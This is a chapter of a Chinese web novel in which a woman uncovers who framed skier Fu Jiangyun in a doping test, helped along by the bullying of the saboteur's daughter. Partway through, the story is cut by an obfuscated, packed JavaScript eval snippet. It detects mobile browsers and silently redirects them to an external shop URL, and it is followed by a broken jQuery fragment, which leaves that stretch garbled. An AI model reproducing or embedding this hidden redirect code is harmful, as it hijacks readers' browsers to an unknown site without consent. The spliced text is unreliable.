18. 为人棋子
    虞秋池看着傅母调查到的黄先生的背景信息,黄寺文,45岁,普通华侨,一妻一女,并没有什么特别之处。

    那他为何要调换傅江云尿检瓶,是谁在背后指使他?

    她放下资料,抬手揉了揉眉骨,既然已经下定决心帮傅江云,她就不会轻易退缩。

    第二天,虞秋池一大早就守在黄先生楼下,他当作没看见,虞秋池也不恼,一路跟着他,直到他进了办公室,她进不去了,才停下脚步。

    有什么办法能更近距离接触黄先生呢?

    她在办公楼下坐了两个多小时,中午十分,黄先生下楼见着坐在会客厅里的虞秋池,脚步一顿,带着些许无奈和气愤:“小姐这是何必,你就算跟踪我一天,也起不了任何作用。”

    “黄先生,您是聪明人,傅江云跟您没仇没恨,您无缘无故自然不会害他,”她上前一步,轻声细语道:“我只是想知道,是谁让你做的这件事儿?”

    “我们的目标是揪出您背后的人,并不是你啊黄先生。”

    黄寺文又怎么会轻易开口,就冲昨晚傅江云母亲的话,他也不会相信自己会相安无事。

    他沉着脸,警告虞秋池别再跟着自己。

    想让她放弃?没这么容易。

    尤其是她已经知道这个黄先生就是解决问题的关键。

    既然他上班的地方不行,那就去他家里,先从他家里人入手。

    虞秋池带着傅江云的助理一起去了黄寺文女儿所在的学校。

    车里,虞秋池打量学校大门一排打字,问:

    “是这么?”

    “资料上显示的地址是这里,应该没错。”助理回她。

    “这学校在国际上挺有名的,就是学费不便宜。”

    很多贵族明星都女儿都在这念书,昂贵的学费是基础,显赫的社会地位才是首要入场券。

    他黄寺文一个普通WADA成员,能有那么多人钱送女儿进去念书么?

    助理以为虞秋池只是发发牢骚,没太在意这些。

    下午放学时间,大部分学生被家里的车接走,她们从第一个孩子出来就盯着大门,可是压根没见到照片上的女孩。

    “秋池姐,你说黄寺文女儿是不是已经被接走了啊。”

    怎么会呢,在这群老外里面找一个亚洲面孔,应当是很容易才对。

    “再等等看吧。”虞秋池盯着车窗外,“实在不行,只能去她家里。”

    只是她家里肯定会涉及到大人,他们本来是想单独从小孩子身上套点话的。

    “秋池姐,你看那!”助理指着不远处的轿车,一个美国女孩拉着亚洲小女孩上了车。

    那个亚洲小女孩,分明就是照片上黄寺文的女儿!

    “跟上他们!”

    车子在一栋别墅区停下。

    虞秋池他们进不去。

    “这里不是黄寺文他家。”虞秋池猜测或许黄寺文女儿是去同学家玩儿,这里或许是刚刚带着她离开的女孩的家。

    将近一小时后,铁门缓缓打开,小女孩垂着头从花园里出来。

    虞秋池立马拉开车门。

    助理紧随其后。

    很快她意识到不对劲,女孩儿身上的校服湿透了,她的头发也是,即使看得出被毛巾擦过的痕迹,发尾还是湿答答滴着水。

    她示意助理不要动。

    她走近,跟在她身后,装作若无其事地经过,不经意看见小女孩,用英语问她:“哦天哪,你怎么衣服湿了?”

    “需要帮忙吗?”

    女孩怯生生抬头起头,朝她摇头,一言不发低着头往前走。

    虞秋池看着小女孩的眼睛,冷漠空洞,根本不是她这个年纪该有的眼神。

    或许是职业病,她认为这个女孩应该和人发生了矛盾。

    她鼓起勇气再次询问:“真不需要帮忙么?这个天气很容易感冒的…”

    她去够小女孩的肩膀。

    “嘶…”女孩护着肩膀后退,“别碰我。”

    虞秋池也不知道她竟然会这么大反应,一时愣在原地,“对不起,我不是故意的。”

    “秋池姐。”助理见两人情况不对,小跑着过来,“你没事儿吧?”

    女孩儿闻言抬头看了他俩一眼。

    “你们是中国人?”

    虞秋池和助理对视一眼,她朝她点头。

    “我看你全身湿透了,就想问你需要帮忙么?”虞秋池态度诚恳。

    小女孩抱着自己的肩膀,她现在这副样子的确不适合回家,万一被妈妈看到,会担心。

    “可以带我去买一身衣服么?”她抬头,小心翼翼地问。

    “当然。”虞秋池笑着道。

    ……

    他们带她去了最近的商场。

    小女孩自己挑了一套衣服,虞秋池帮她付了款,带她去了提供吹风机的母婴室。

    “你不介意的话,我先帮你把外套吹干。”

    小女孩没意见。对她说了句谢谢。

    “你为什么全身都打湿了呢?”虞秋池见她换好衣服出来,招呼她过来,替她垂着头发。

    小女孩沉默片刻,抿着唇道:“不小心掉进游泳池了。”

    是么。

    兴许是做老师这些年,她一眼就能分辨出学生的谎言。

    不过她也没拆穿。

    “我自己来吧。”她从虞秋池手里接过吹风机,举起手臂吹着。

    小臂的衣袖顺着动作下滑,虞秋池看到了她手腕上的紫色痕迹。

    她抓住她的手,扯开衣袖,只见手臂上两条淤青都快发紫了。

    “啊——”女孩急忙拉下衣袖,奈何力气不敌虞秋池

    “这是怎回事?”她想起先去碰她肩膀,她也是一副疼痛难忍的表情,拨开女孩的衣领一瞧,肩膀锁骨上的痕迹也触目惊心。

    “你被人欺负了?”虞秋池意识到了事情的严重性。

    小女孩垂着头,虞秋池看不清她的脸,弯下腰去看,发现她的脸上挂满了泪痕。

    虞秋池此刻已经忘记她的身份,只看到一个被人欺凌的小女孩,如果没猜错,应该是被她的同学。

    她的眼神暗了暗。

    车里,小女孩看着虞秋池:“姐姐,等会儿到家,我会让妈妈把买衣服的钱还你,还求你们不要告诉我妈妈。”

    “为什么?”虞秋池不理解,“遇到这种事,你第一时间应该告诉你的家长,让你家长去学校找你老师,你不能一味忍让,这样只会让霸凌者有恃无恐,得寸进尺!”

    “我也是老师,如果你愿意相信我,你就应该让我告诉你妈妈你今天所遭遇的一切。”

    女孩声音几近哽咽,“没用的,克洛伊还是不会放过我。他爸爸是M国奥运冠军,家里有钱有势,根本不会把我们家放在眼里。”

    奥运冠军四个字让他们下意识看了彼此一瞬。

    助理问她,“她爸爸,是滑雪运动员克洛伊·汤姆吗?”

    女孩点头。

    汤姆和傅江云可是死对头,在傅江云出现之前,汤姆一直垄断着冬奥会男子自由滑雪第一。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461109|141730||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    虞秋池心口一紧,她似乎明白了,但眼下,她要先解决小女孩被霸凌的事。

    他们跟着小女孩进了门。

    黄暖跟妈妈解释一番,她妈妈立刻热情招待他们俩坐下。

    虞秋坐下,没着急立刻,黄暖心里有些担心。

    “抱歉,”她想了很久,看着女孩道,“我还是不能答应你。”

    黄暖立马垂下头。

    “黄妈妈,有些事情,我必须要告诉你。”虞秋池拉去女孩的手臂,触目惊心的伤痕让女人尖叫捂嘴。

    “这是怎么回事?”女人小心翼翼抚摸她,生怕会弄疼女儿。

    黄暖开不了口的话,虞秋池平静替她解释,她把黄母叫到一旁,用只有两人听见的声音道:

    “我也不瞒你,我们认识黄先生,今天遇见你女儿,也不是巧合,但我们没有恶意,我们只是想替傅江云找回公道,而黄先生保护的人,竟然对你们女儿出手,这样真的值得吗?”

    “还麻烦您替我转告黄先生,如果他想通,欢迎来找我。”

    回去的路上,助理问:“你说黄先生真的会承认么?”

    虞秋池摇头,她也不过是在赌,赌一个父亲对孩子的爱有多深而已。

    万幸的是,黄寺文主动联系她了。

    他们约在一个咖啡厅见面。

    黄寺文第一句话,是感谢她对女儿的帮助。

    “黄先生,你知道我想要的是什么。”

    她喝了口咖啡,娓娓道来:“如果没猜错,是汤姆让你陷害傅江云,调换他尿检瓶,而他们大概许给你一些东西,只是你没想到,汤姆女儿一直霸凌你的女儿……又或是,你知道他们拿你女儿要挟你,栽赃陷害傅江云?”

    黄寺文抹了抹脸,摇了摇头说“他们给了我一大笔钱,让我对傅江云尿检做些手脚。”

    “我也没想过,暖暖竟然被人欺凌……”他眼底似乎有些自责,“我要知道,绝对不会替汤姆做这种事。”

    虞秋池面无表情盯着他,可悲吗?他的女儿受到伤害,傅江云难道不也因为他受到伤害吗?

    “去自首吧,还傅江云一个清白。”她劝他,“你以为,汤姆他们就会放过你么。”

    “可我是女儿还这么小,我家里不能没有我。”黄寺文抓了抓头发,眼神十分绝望。

    他想起昨天在汤姆休息室外偷听到的话,对方一行人说,为了不留后患,这次奥运会结束,就要让组里开除自己。

    而他似乎陷入一个两难境地,公开承认,他一定会坐牢,并且还有傅母的威胁,若是不公开,总有一天也会落到汤姆手里,任由他们玩弄。

    他的确陷入一个死胡同,无论如何也不能自保。

    看吧,这便是为人棋子的悲哀。

    “为什么宁肯帮着他们,也不愿意替傅江云澄清?”虞秋池不明白,为什么他要背刺中国人。

    “黄先生,话已至此,还希望你慎重考虑。”她拿起桌上一直倒扣着的手机,全程录音,就算最后他还是不肯自首,她也拿到证据了。

    只不过虞秋池还想给他个自己说出来的机会。

    “等等,”黄寺文起身,虞秋池停下脚步,回头看他。

    “你能让傅家不针对我的家人吗?”

    “我能。”虞秋池想起黄暖那满身的伤,点了点头。

    “我真的能相信你吗?”他深深看着虞秋池,“你和傅江云……”

    “我是傅江云妻子。”虞秋池只说:“所以你放心,我们不是汤姆,不会伤害你家人。”